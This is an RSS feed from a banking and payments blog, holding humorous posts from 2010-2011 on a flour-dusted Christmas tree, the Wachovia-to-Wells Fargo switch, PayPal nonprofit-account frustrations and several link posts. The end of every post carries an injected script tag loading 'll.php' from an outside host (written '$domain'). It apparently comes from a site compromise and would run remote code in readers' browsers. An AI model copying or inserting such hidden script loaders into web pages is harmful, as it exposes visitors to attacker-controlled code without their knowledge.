<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tdg-phenix online &#187; Editor</title>
	<atom:link href="http://www.tdgphenix.com/author/editor/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tdgphenix.com</link>
	<description>banking and payments in one spot online</description>
	<lastBuildDate>Fri, 01 Jul 2011 02:40:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>The TDG-Phenix Christmas Tree: One Bad Idea</title>
		<link>http://www.tdgphenix.com/2011/01/19/christmastree/</link>
		<comments>http://www.tdgphenix.com/2011/01/19/christmastree/#comments</comments>
		<pubDate>Thu, 20 Jan 2011 03:43:14 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Hot Topics]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=5261</guid>
		<description><![CDATA[I thought I was going to give Martha Stewart a run for her money.  &#8220;Martha&#8217;s got nothing on you&#8221; was one comment flying around.  I&#8217;m sure after this Christmas debacle, there is no future in becoming the &#8216;holiday decorator to the stars&#8217;; I will explain. Christmas ingredients:  (1) eleven-foot fir (yes, eleven), 1,900 lights (keep reading), [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">I thought I was going to give Martha Stewart a run for her money.  &#8220;Martha&#8217;s got nothing on you&#8221; was one comment flying around.  I&#8217;m sure after this Christmas debacle, there is no future in becoming the &#8216;holiday decorator to the stars&#8217;; I will explain.</p>
<p>Christmas ingredients:  (1) eleven-foot fir (yes, eleven), 1,900 lights (keep reading), lovely gold sheer ribbon, several decades of ornaments from around the world, a few birds nests and 1/2 pound of flour.  Yes, you heard it right, flour.</p>
<p>After strategically stringing the 19 strands and neurotically flowing ribbon in an ever-so-festive manner, I hung the ornaments and faux birds on the branches.  The tree was missing something&#8230;. ah, yes&#8230; the look of a freshly-fallen snowfall on its limbs. </p>
<p>I&#8217;ve never been one for &#8216;going green&#8217;, but this year, I wasn&#8217;t thrilled about buying bags of plastic &#8216;faux snow&#8217; to sprinkle on the branches and subsequently for my less-than-brilliant cat to probably consume (it&#8217;s not the consumption, it&#8217;s how it comes out in the end&#8230;) So, while looking through my cabinets, I had a brilliant idea: I could sift flour onto the branches and give it the &#8220;Christmas in New England&#8217; look AND it would be feline-friendly, since I know he wouldn&#8217;t attempt to eat it.   It came out stunning (at least in my mind):<br />
 </p>
<table style="width: 574px; height: 835px;" border="0">
<tbody>
<tr>
<td style="width: 100px;" valign="top">
<h4>The final product, &#8216;sans flour&#8217;. Note the extensive collection of Harrod&#8217;s Bears</h4>
</td>
<td style="width: 401px;" valign="top">
<p style="text-align: center;"><img class="size-medium wp-image-5263     aligncenter" title="Christmas @ TDG-Phenix" src="http://www.tdgphenix.com/wp-content/uploads/2010-12-09-20.31.03-e1295480247409-225x300.jpg" alt="" width="401" height="485" /></p>
</td>
</tr>
<tr>
<td style="width: 100px;" align="left" valign="top">
<h4>The &#8216;eco-friendly&#8217; tree, adorned with Gold Medal (flour)</h4>
</td>
<td valign="top"><img class="aligncenter size-medium wp-image-5265" title="Avec snow" src="http://www.tdgphenix.com/wp-content/uploads/2010-12-10-10.33.11-300x225.jpg" alt="" width="401" height="273" /></td>
</tr>
</tbody>
</table>
<p>What I was quickly reminded of from my thousands of hours watching cooking shows is that when one needs to thicken a sauce they add flour. In the case of a living Christmas tree, when one adds flour as a decorative accoutrement,  it has this tendency to suck all of the moisture out of the needles, leaving one with a petrified evergreen that drops needles like I drop hair off my head.</p>
<p>The final event in this debacle was trying to extricate this monstrosity from the great room post-holidays.  Flour, unlike the plastic snowflake product, seems to become airborne, creating a dust storm that rivals the plains of Kansas.  After 6 hours of sawing, throwing, sweeping, vacuuming, vacuuming and vacuuming, we managed to get to the dusting component of the holiday decorative disaster.  It&#8217;s nice to see the hardwood floors again.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tdgphenix.com/2011/01/19/christmastree/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<price></price>	</item>
		<item>
		<title>Mr. Funeral Director, Make sure you use enough embalming fluid on Wachovia</title>
		<link>http://www.tdgphenix.com/2010/09/27/wachovia/</link>
		<comments>http://www.tdgphenix.com/2010/09/27/wachovia/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 17:14:06 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Banking]]></category>
		<category><![CDATA[Wachovia]]></category>
		<category><![CDATA[Wells Fargo]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=1552</guid>
		<description><![CDATA[Today is a new day for me personally and the business.  Gone is the Wachovia brand (which I could really go off on a diatribe about their lousy service), and welcome to Wells Fargo: organized, sleek, good online functionality, a MOBILE APP for Android, and really nice debit card designs. I think I will like [...]]]></description>
			<content:encoded><![CDATA[<p>Today is a new day for me personally and the business.  Gone is the Wachovia brand (which I could really go off on a diatribe about their lousy service), and welcome to Wells Fargo: organized, sleek, good online functionality, a MOBILE APP for Android, and really nice debit card designs. I think I will like this new banking relationship.  I may bring them brownies or something (wait, they still probably have the same useless branch manager at my branch, scratch the brownies).  I will send an email to Steve Ellis who probably had a lot to do with this transition.</p>
<p>Wachovia is dead.  Hopefully they did a good job with the embalming fluid.</p>
<p>My cheer (minus the pom poms):  Wachovia to Wells Fargo, W-O-W!<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tdgphenix.com/2010/09/27/wachovia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<price></price>	</item>
		<item>
		<title>It&#8217;s like visiting with the Pope, but for banking</title>
		<link>http://www.tdgphenix.com/2010/09/21/its-like-visiting-with-the-pope-but-for-banking/</link>
		<comments>http://www.tdgphenix.com/2010/09/21/its-like-visiting-with-the-pope-but-for-banking/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 00:50:38 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Compliance]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=4553</guid>
		<description><![CDATA[Larry De Palma was able to spend several wonderful hours at two summer 2010 fundraisers with the then House Financial Services Committee Chairman Barney Frank (D-MA).  A quote by De Palma&#8217;s dearest and oldest friend said &#8220;You look like a kid in a candy store&#8221;. Never one not to jump in and help the host, De [...]]]></description>
			<content:encoded><![CDATA[<p>Larry De Palma was able to spend several wonderful hours at two summer 2010 fundraisers with the then House Financial Services Committee Chairman Barney Frank (D-MA).  A quote by De Palma&#8217;s dearest and oldest friend said &#8220;You look like a kid in a candy store&#8221;.</p>
<p><img class="alignnone size-medium wp-image-4554" title="Two banking icons" src="http://www.tdgphenix.com/wp-content/uploads/026-300x168.jpg" alt="" width="300" height="168" /></p>
<p>Never one not to jump in and help the host, De Palma showed his finely tuned catering skills by creating the platters for one event at Mainestreet Ogunquit, in beautiful Ogunquit Maine.</p>
<p><img class="alignnone size-medium wp-image-4558" title="Lorenzo's Fruity Platter" src="http://www.tdgphenix.com/wp-content/uploads/025-300x168.jpg" alt="" width="300" height="168" /><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tdgphenix.com/2010/09/21/its-like-visiting-with-the-pope-but-for-banking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<price></price>	</item>
		<item>
		<title>Dear PayPal, We Just Want to Have Our Class Reunion</title>
		<link>http://www.tdgphenix.com/2010/08/05/dearpaypal/</link>
		<comments>http://www.tdgphenix.com/2010/08/05/dearpaypal/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 17:45:19 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Payments]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=1327</guid>
		<description><![CDATA[I have decided that PayPal is the PAP Smear of the payments industry: for those who are familiar with PAP Smears, you know you hate them, but they are a necessarily evil. I couldn&#8217;t come up with a better analogy (or one that was of a male-gender, for that matter) to describe the bureaucratic nightmare that [...]]]></description>
			<content:encoded><![CDATA[<p>I have decided that PayPal is the PAP Smear of the payments industry: for those who are familiar with PAP Smears, you know you hate them, but they are a necessarily evil. I couldn&#8217;t come up with a better analogy (or one that was of a male-gender, for that matter) to describe the bureaucratic nightmare that is the spawn of eBay.</p>
<p>Why do I use such harsh words about an entity that I have fondly described as &#8220;making JPMorgan Chase look like a community bank&#8217;?</p>
<p>The story starts at the need to hold my high school graduating class 25th reunion. After steering committee conference calls, a survey out to classmates and the selection of an online event registration system (Eventbrite won out over Eventbee), it was determined that we needed a PayPal account to take in all of those electronic payments that would be created during the registration process for our 25th reunion soiree.  So, our plan of attack was IRS Tax ID, bank account at TD BankNorth and finally, the PayPal account.  I thought the last of those options would be the easiest.  Then again, I also thought that Darren Stevens on Bewitched was straight.</p>
<p><img class="alignleft size-full wp-image-1334" title="paypal1" src="http://www.tdgphenix.com/wp-content/uploads/paypal1.png" alt="" width="395" height="151" />Having opened a few PayPal accounts in my day, I knew to have my ducks lined up in a row. I had Tax ID, address, bank account info, etc. The challenge started when one is forced to categorize themselves as an entity and  in a pseudo-MCC exercise, but beware, instead of the thousands of MCCs, PayPal has like 22 categories &#8211; and if you don&#8217;t select the right one, the wrath of Meg Whitman comes down upon you.</p>
<p>When looking at the five choices to start with, I knew that we were not incorporated, we certainly were not a Government Entity, and the Tax ID did not correlate to Individual, Sole Proprietorship or Partnership, so I selected Non-Profit Organization (which theoretically, we are, according to IRS rules we don&#8217;t have to file a tax return unless our revenues are above $25,000).</p>
<p>The next step in the &#8220;Quest for Confusion&#8221; was to select the category, of which PayPal presented us with 27 (TWENTY-SEVEN) options.  Twenty-seven.  Vingt-sept, if you&#8217;re in Paris. </p>
<p> So, of the 27 categories, I found no &#8216;club&#8217;, no &#8216;social organization&#8217;, nothing.  I again was forced to select &#8220;Nonprofit&#8221;.  <img class="alignright size-full wp-image-1335" title="paypal2" src="http://www.tdgphenix.com/wp-content/uploads/paypal2.png" alt="" width="418" height="170" />Now, I wasn&#8217;t looking for a special rate because of this &#8216;nonprofit&#8217; status (which apparently is 2.3% instead of the standard 2.9%), I just had no other selection as an option.  So that&#8217;s when the fun began:</p>
<p><em><strong>Dear Noble 1985 Alumni Club,<br />
As part of our security measures, we regularly screen activity in the PayPal system. During a recent screening, we noticed an issue regarding your account. PayPal requires accounts within the charity / non profit category to provide us with some additional information regarding their organization. Upon a recent review, your account was identified as falling within this classification. Until we can collect this information, your access to sensitive account features will be limited.  Please take a moment to provide us with this information so that we can restore your access as soon as possible.</strong></em></p>
<p>After providing a bunch of documentation and requesting that they disregard the nonprofit designation, I received another mainframe-generated email:</p>
<p><em><strong>Hello Noble 1985 Alumni Club,<br />
We are writing to you in regards to your PayPal Account.  PayPal appreciates that you have chosen us to accept payments for your organization.  As part of PayPals Compliance Program, we request that entities wishing to accept donations on behalf of a charity or other non-profit organization provide evidence of their legitimacy.  Please provide the following information:</strong></em></p>
<p><em><strong>1.  Evidence of tax-exempt status and/or registration with any applicable regulatory bodies governing your jurisdiction.<br />
2.  A valid URL for the organization<br />
3.  A brief organizational summary or Mission Statement.</strong></em></p>
<p>My response to PayPal (showing the stress of a class reunion only a month and a half away):</p>
<p><span style="color: #ff0000;"><strong><span style="color: #800000;">Noble High School 1985 Social Club requests that you change our status (or request) from non-profit to ‘profit’ so that we may begin accepting payments through PayPal.  We will not be pursuing a 501(c)3 designation at this time due to the expense and time constraints. We are simply an organization that is arranging a 25<sup>th</sup> class reunion.  Could you please remove the limitations on this account so that we can move forward.  Your bureaucracy makes Chase look like a community bank.</span></strong></span></p>
<p><span style="color: #ff0000;"><strong><span style="color: #800000;">Regards,<br />
Noble HS 1985 Social Club</span></strong></span></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">FYI, apparently when you compare PayPal to the most hated bank in the country, they lift your limitations within 24 hours. So for those of you reuniting in the future and looking to accept electronic payments, it&#8217;s good to use the terms &#8220;Bureaucracy&#8221; and &#8220;Chase&#8221; to get things done in PayPal-land.</span></span></p>
<p><span style="color: #ff0000;"> </span><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tdgphenix.com/2010/08/05/dearpaypal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<price></price>	</item>
		<item>
		<title>The New TDG-Phenix Infocenter: Not Just a Pretty Design..</title>
		<link>http://www.tdgphenix.com/2010/07/27/newandimproved/</link>
		<comments>http://www.tdgphenix.com/2010/07/27/newandimproved/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 21:32:11 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Introduction]]></category>
		<category><![CDATA[Rantings]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=1310</guid>
		<description><![CDATA[Some have told me that my humor and wit rank high on the list of my best characteristics. Some have also noted that I do everything with a sense of passion (I either love something or hate something PASSIONATELY; there seems to be no middle ground there). So, as I cleared out over 1,000 boring [...]]]></description>
			<content:encoded><![CDATA[<p>Some have told me that my humor and wit rank high on the list of my best characteristics. Some have also noted that I do everything with a sense of passion (I either love something or hate something PASSIONATELY; there seems to be no middle ground there). So, as I cleared out over 1,000 boring pending posts about stuff that is inconsequential to my world or to the world of 98% of us in the payments and banking industry, I decided that if Perez Hilton can make it by blogging about what rocks his world, I am going to start blogging about what&#8217;s rocking my world.  For those of you who are intrigued at this point, it will most likely NOT consist of anything Lohan, Kardashian, Kate Whatever-her-last-name-is with the worn out uterus, etc.  What rocks my world is banking and payments and just a smidgen of technology.  Feel free at this point to point your browser to something Ryan Seacrest-related if this does not rock your world.</p>
<p><img class="alignleft size-full wp-image-1311" title="pg13" src="http://www.tdgphenix.com/wp-content/uploads/pg13.png" alt="" width="123" height="79" />So, be warned, I own this domain and this blog.  This will be rated PG-13.   Adult Language.  No Nudity (sorry, I know there are a few out there that would like to see me disrobe, but I save that for the one that provides me with the American Express Black Card).</p>
<p>Also, be warned, your organization may be pointed out. I won&#8217;t tell you if you&#8217;re baby is ugly, but I will tell you where your product and service may suck wind. I may love you, but this is the media and my First Amendment right (or is that the Second Amendment?) to make note where things are falling off in payments and banking-land.  I&#8217;m the CEO, I don&#8217;t have to be political.  I won&#8217;t fire myself. I am Baby-Doc-De Palma for life.</p>
<p>And as a teaser for you to come back tomorrow, our first blog-lashing goes to PayPal&#8230;  oooh, juicy already!<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tdgphenix.com/2010/07/27/newandimproved/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<price></price>	</item>
		<item>
		<title>Citibank, Microsoft Join Forces with Bundle, a Personal Finance Site with a Data Bent</title>
		<link>http://www.tdgphenix.com/2010/01/31/citibank-microsoft-join-forces-with-bundle-a-personal-finance-site-with-a-data-bent/</link>
		<comments>http://www.tdgphenix.com/2010/01/31/citibank-microsoft-join-forces-with-bundle-a-personal-finance-site-with-a-data-bent/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 16:17:20 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Banking]]></category>
		<category><![CDATA[Citibank]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Personal Finance]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=181</guid>
		<description><![CDATA[ Citibank, Microsoft Join Forces with Bundle, a Personal Finance Site with a Data Bent.]]></description>
			<content:encoded><![CDATA[<p> <a href="http://www.netbanker.com/2010/01/citibank_microsoft_join_forces_with_bundle_a_personal_finance_site_with_a_data_bent.html">Citibank, Microsoft Join Forces with Bundle, a Personal Finance Site with a Data Bent</a>.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tdgphenix.com/2010/01/31/citibank-microsoft-join-forces-with-bundle-a-personal-finance-site-with-a-data-bent/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	<price></price>	</item>
		<item>
		<title>Led by Facebook, Twitter, Global Time Spent on Social Media Sites up 82% Year over Year</title>
		<link>http://www.tdgphenix.com/2010/01/22/led-by-facebook-twitter-global-time-spent-on-social-media-sites-up-82-year-over-year-nielsen-wire/</link>
		<comments>http://www.tdgphenix.com/2010/01/22/led-by-facebook-twitter-global-time-spent-on-social-media-sites-up-82-year-over-year-nielsen-wire/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 22:15:31 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Social Media]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[Nielsen]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=72</guid>
		<description><![CDATA[According to The Nielsen Company, global* consumers spent more than five and half hours on social networking sites like Facebook and Twitter in December 2009, an 82% increase from the same time last year when users were spending just over three hours on social networking sites. In addition, the overall traffic to social networking sites [...]]]></description>
			<content:encoded><![CDATA[<p>According to The Nielsen Company, global* consumers spent more than five and half hours on social networking sites like Facebook and Twitter in December 2009, an 82% increase from the same time last year when users were spending just over three hours on social networking sites. In addition, the overall traffic to social networking sites has grown over the last three years.</p>
<p><a href="http://blog.nielsen.com/nielsenwire/global/led-by-facebook-twitter-global-time-spent-on-social-media-sites-up-82-year-over-year/">Led by Facebook, Twitter, Global Time Spent on Social Media Sites up 82% Year over Year | Nielsen Wire</a>.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tdgphenix.com/2010/01/22/led-by-facebook-twitter-global-time-spent-on-social-media-sites-up-82-year-over-year-nielsen-wire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<price></price>	</item>
		<item>
		<title>2010: Foreclosures Continue</title>
		<link>http://www.tdgphenix.com/2010/01/20/foreclosures/</link>
		<comments>http://www.tdgphenix.com/2010/01/20/foreclosures/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 20:33:48 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Real Estate Crisis]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=6</guid>
		<description><![CDATA[The foreclosure crisis is far from over, according to RealtyTrac's Rick Sharga. The company will release its year-end report on Thursday showing foreclosures rose 20% over the previous year. He talks with Dawn Wotapka about some trouble spots and the outlook for 2010.]]></description>
			<content:encoded><![CDATA[<p><object id="wsj_fp" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="512" height="363" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="flashvars" value="videoGUID=58FF9A4A-74C5-4228-820B-3091506C96AC&amp;playerid=1000&amp;plyMediaEnabled=1&amp;configURL=http://wsj.vo.llnwd.net/o28/players/&amp;autoStart=false" /><param name="src" value="http://s.wsj.net/media/swf/main.swf" /><param name="name" value="flashPlayer" /><param name="bgcolor" value="#FFFFFF" /><param name="allowfullscreen" value="true" /><embed id="wsj_fp" type="application/x-shockwave-flash" width="512" height="363" src="http://s.wsj.net/media/swf/main.swf" flashvars="videoGUID=58FF9A4A-74C5-4228-820B-3091506C96AC&amp;playerid=1000&amp;plyMediaEnabled=1&amp;configURL=http://wsj.vo.llnwd.net/o28/players/&amp;autoStart=false" allowscriptaccess="always" allowfullscreen="true" bgcolor="#FFFFFF" name="flashPlayer"></embed></object></p>
<p>The foreclosure crisis is far from over, according to RealtyTrac&#8217;s Rick Sharga. The company will release its year-end report on Thursday showing foreclosures rose 20% over the previous year. He talks with Dawn Wotapka about some trouble spots and the outlook for 2010.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tdgphenix.com/2010/01/20/foreclosures/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<price></price>	</item>
	</channel>
</rss>

